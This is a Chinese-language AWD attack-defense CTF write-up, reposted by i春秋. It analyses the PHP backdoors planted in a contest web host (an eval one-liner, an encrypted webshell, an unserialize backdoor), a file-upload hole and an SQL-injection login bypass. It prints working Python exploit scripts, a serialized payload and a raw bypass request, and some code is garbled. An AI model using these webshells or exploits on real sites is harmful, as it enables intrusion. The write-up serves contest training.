跟著表哥學習如何打「AWD比賽」

在很多大型互聯網公司中,安全團隊會經常組織攻防模擬演練,目的是以攻促防,提前發現潛在風險,協助提升業務系統安全性和完善安全系統能力,更有效的抵禦黑客攻擊。

跟著表哥學習如何打「AWD比賽」

在網絡安全的眾多比賽中,AWD比賽就是這種攻防兼備的比賽形式。今天分享的文章是 i 春秋論壇的作者flag0原創的文章,他為我們帶來的是一次AWD比賽的總結,想要了解AWD比賽的小夥伴,這篇文章不容錯過,文章未經許可禁止轉載!

注:i 春秋公眾號旨在為大家提供更多的學習方法與技能技巧,文章僅供學習參考。

跟著表哥學習如何打「AWD比賽」

AWD介紹

AWD(Attack With Defense,攻防兼備)是一個非常有意思的模式,你需要在一場比賽裡要扮演攻擊方和防守方,攻者得分,失守者會被扣分。也就是說,攻擊別人的靶機可以獲取 Flag 分數時,別人會被扣分,同時你也要保護自己的主機不被別人得分,以防扣分。

這種模式非常激烈,賽前準備要非常充分,手上要有充足的防守方案和 EXP 攻擊腳本,而且參賽越多,積累的經驗就越多,獲勝的希望就越大。


比賽規則

  • 每個團隊分配到一個Docker主機,給定Web(Web)/ Pwn(Pwn)用戶權限,通過特定的端口和密碼進行連接;
  • 每臺Docker主機上運行一個網絡服務或其他的服務,需要選手保證其可用性,並嘗試審計代碼,攻擊其他隊伍;
  • 選手可以通過使用突破獲取其他隊伍的服務器的權限,讀取其他服務器上的標誌並提交到平臺上;
  • 每次成功攻擊可能5分,被攻擊者取代5分;
  • 有效攻擊五分鐘一輪。選手需要保證己方服務的可用性,每次服務不可用,替換10分;
  • 服務檢測五分鐘一輪;
  • 禁止使用任何形式的DOS攻擊,第一次發現扣1000分,第二次發現取消比賽資格。

Web1

首先用D盾進行查殺。

跟著表哥學習如何打「AWD比賽」

預留後門

pass.php

<code>@eval($_POST['pass']);
?>/<code>

很簡單直接的一句話後門

yjh.php

<code>@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    //uniqid() 函數基於以微秒計的當前時間,生成一個唯一的 ID
    //這裡用於生成session
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
    $post=file_get_contents("php://input");//讀取post內容
    if(!extension_loaded('openssl'))//檢查openssl擴展是否已經加載
    {//如果沒有openssl
        $t="base64_"."decode";
        $post=$t($post."");//base64_decode

        for($i=0;$i<strlen>                 $post[$i] = $post[$i]^$key[$i+1&15]; //進行異或加密
                }

    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);//aes加密
    }
    $arr=explode('|',$post);//返回由字符串組成的數組
    $func=$arr[0];
    $params=$arr[1];//獲取第二個

    class C
    {
        public function __construct($p) // __construct() 允許在實例化一個類之前先執行構造方法
        {
            eval($p."");//直接eval
        }
    }
    home.php?mod=space&uid=162648 C($params);
}
?>/<strlen>/<code>

生成隨機密鑰值通過密鑰值對加密,如果服務器沒有openssl擴展,則與密鑰值進行異或解密,如果有openssl環境,則使用密鑰值進行解密。

搞清楚了代碼邏輯之後,編寫利用腳本。

服務端有openssl擴展的利用腳本

<code>import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

def aes_encode(key, text):
    key = key.encode()
    text = text.encode()
    text = pad(text, 16)
    model = AES.MODE_CBC  # 定義模式

    aes = AES.new(key, model, b'\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0')
    enPayload = aes.encrypt(text)  # 加密明文
    enPayload = base64.encodebytes(enPayload)  # 將返回的字節型數據轉進行base64編碼
    return enPayload

def getBinXie(url):
    req = requests.session()
    url = url+"/yjh.php"
    par = {
        'pass':''
    }
    key = req.get(url,params=par).content
    key = str(key,encoding="utf8")
    payload = '1|system("cat /flag");'
    enPayload = aes_encode(key,payload)
    res = req.post(url,enPayload).text
    return res
if __name__ == '__main__':
    url = "http://localhost"
    flag = getBinXie(url)
    print(flag)/<code>

因為php中加密方式是AES128,所以可以判斷是CBC模式。

服務端沒有openssl擴展的利用腳本

當沒有擴展的時候會執行異或加密

<code>def xorEncode(key,text):
    textNew = ""
    for i in range(len(text)):
        left = ord(text[i])
        rigth = ord(key[i+1&15])
        textNew += chr(left ^ rigth)
    textNew = base64.b64encode(textNew.encode())
    textNew = str(textNew,encoding="utf8")
    return textNew
def getBinXieXor(url):
    req = requests.session()
    url = url+"/login/yjh.php"
    par = {
        'pass':''

    }
    key = req.get(url,params=par).content
    key = str(key,encoding="utf8")
    text = "|system('cat /flag');"
    enPayload = xorEncode(key,text)
    res = req.post(url, enPayload).text
    return res/<code>

在Web1中,login\\yjh.php與pma\\binxie2.0.1.php與yjh.php內容是一樣的。


反序列化後門

sqlhelper.php

D盾沒掃出來的,還有一個反序列化後門。

<code>if (isset($_POST['un']) && isset($_GET['x'])){
class A{
    public $name;
    public $male;

    function __destruct(){//析構方法,當這個對象用完之後,會自動執行這個函數中的語句
        $a = $this->name;
        $a($this->male);//利用點
    }
}

unserialize($_POST['un']);
}/<code>

$a($this->amle)如果$a=eval;$b=system('cat /flag');

就相當於eval(system("cat /flag"));

構造payload:

<code>class A{
    public $name;
    public $male;

    function __destruct(){//對象的所有引用都被刪除或者當對象被顯式銷燬時執行
        $a = $this->name;
        $a($this->male);//利用點
}
$flag = new A();
$flag -> name = "system";
$flag -> male = "cat /flag";
var_dump(serialize($flag));
?>/<code>

獲得反序列化字符串:

<code>O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";}/<code>
跟著表哥學習如何打「AWD比賽」

封裝成攻擊函數:

<code>def getSerialize(url):
    import requests
    url = url + "/sqlhelper.php?x=a"
    payload = {
        "un":'O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";}'
    }
    flag = requests.post(url=url,data=payload).content
    return str(flag,encoding="utf8").strip()/<code>


文件上傳漏洞

info.php

<code>include_once "header.php";
include_once "sqlhelper.php";
?>
if (isset($_POST['address'])) {
    $helper = new sqlhelper();
    $address = addslashes($_POST['address']);
    if (isset($_POST['password'])) {
        $password = md5($_POST['password']);
        $sql = "UPDATE  admin SET address='$address',password='$password' WHERE id=$_SESSION[id]";
    } else {
        $sql = "UPDATE  admin SET address='$address'  WHERE id=$_SESSION[id]";
    }
    $res = $helper->execute_dml($sql);
    if ($res) {
        echo "";
    }
    if (isset($_FILES)) {
        if ($_FILES["file"]["error"] > 0) {
            echo "錯誤:" . $_FILES["file"]["error"] . "
";
        } else {

            $type = $_FILES["file"]["type"];
            if($type=="image/jpeg"){
                $name =$_FILES["file"]["name"] ;
                if (file_exists("upload/" . $_FILES["file"]["name"]))
                {
                    echo "";
                }
                else
                {
                    move_uploaded_file($_FILES["file"]["tmp_name"], "assets/images/avatars/" . $_FILES["file"]["name"]);
                    $helper = new sqlhelper();
                    $sql = "UPDATE  admin SET icon='$name' WHERE id=$_SESSION[id]";
                    $helper->execute_dml($sql);
                }
            }else{
                echo "";
            }
        }
    }
}

?>/<code>

可以看到文件上傳的這裡,只驗證了cron-type,只要是把其修改為image/jepg就可以上傳任意文件到assets/images/avatars/目錄下了。

這裡屬於後臺頁面有權限控制,必須登陸後才能訪問。

<code>session_start();
if (!isset($_SESSION['username'])){
    header('Location: /login');
}/<code>

查看登陸頁面login/index.php

<code>if (isset($_POST['username'])){
    include_once "../sqlhelper.php";
    $username=$_POST['username'];
    $password = md5($_POST['password']);
    $sql = "SELECT * FROM admin where name='$username' and password='$password';";

    $help = new sqlhelper();
    $res  = $help->execute_dql($sql);
    echo $sql;
    if ($res->num_rows){
        session_start();
        $row = $res->fetch_assoc();
        $_SESSION['username'] = $username;
        $_SESSION['id'] = $row['id'];
        $_SESSION['icon'] = $row['icon'];
        echo "";
    }else{
        echo "";
    }
}/<code>

SQL語句輸入的部分沒有任何過濾,很明顯存在SQL注入漏洞,可以萬能密碼登陸繞過。

<code>POST /login/index.php HTTP/1.1
Host: localhost.110.165.119:90
Content-Length: 33
Cache-Control: max-age=0
Origin: http://localhost:90
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:90/login/index.php
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=494n7s8cfqqarg9qaqm57ql534
Connection: close

username=admin'%23&password=ccccc/<code>

利用鏈為login/index.php萬能密碼登陸-> info.php任意文件上傳。

編寫腳本:

<code>def getUPload(url):
    import requests
    req = requests.session()
    datas = {
        "username":"admin'#",
        "password":""

    }
    login = req.post(url=url+"login/index.php",data=datas)

    head = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0",
    "Cookie": "PHPSESSID="+login.cookies.items()[0][1]
    }
    datas = {
        "address":"123123"
    }

    file = {
        ("file",("shell.php","","image/jpeg"))
    }

    req.post(url+"info.php",headers=head,files=file,data=datas).text

    datas = {
        "cmd":"system('cat /flag');",
    }
    flag = req.post(url+"assets/images/avatars/shell.php",data=datas).text
    return flag.strip()/<code>


Web2

同樣先用D盾掃一掃

跟著表哥學習如何打「AWD比賽」

預留後門

index.php

<code>


/<code>


分享到:


相關文章: